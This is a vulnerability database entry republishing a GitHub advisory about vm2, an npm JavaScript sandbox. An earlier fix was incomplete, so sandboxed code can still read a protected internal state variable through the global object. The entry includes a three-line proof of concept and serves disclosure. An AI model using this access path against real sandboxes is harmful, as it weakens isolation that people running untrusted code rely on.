Browse / AI Framework and Platform Flaws / CVE-2026-92963
vm2 has access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL`
- Class
- AI Framework and Platform Flaws (filed by a model that read the advisory)
- Technique
- Sandbox escape
- Affected
- vm2 (npm)
- Gets past
- Sandbox or allowlist
- CVSS
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- EPSS
- 0.3% chance of exploitation in 30 days
How it works, in short
Sandbox code can read a protected internal state variable through the global object, because an earlier fix left that access path open. (Our summary, written by a model. The source text is below.)
Details
Summary
https://github.com/patriksimek/vm2/security/advisories/GHSA-wp5r-2gw5-m7q7 is not fully patched.
Details
It is still possible to get access to VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL.
PoC
const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
globalThis['VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL']
`));
References
- https://github.com/patriksimek/vm2/security/advisories/GHSA-2cm2-m3w5-gp2f
- https://github.com/patriksimek/vm2/commit/99d410bb7e0d607c56e68b420720a586dc0dd300
- https://github.com/patriksimek/vm2
- https://github.com/patriksimek/vm2/releases/tag/v3.11.2
Source: GitHub Advisory Database, used under CC BY 4.0.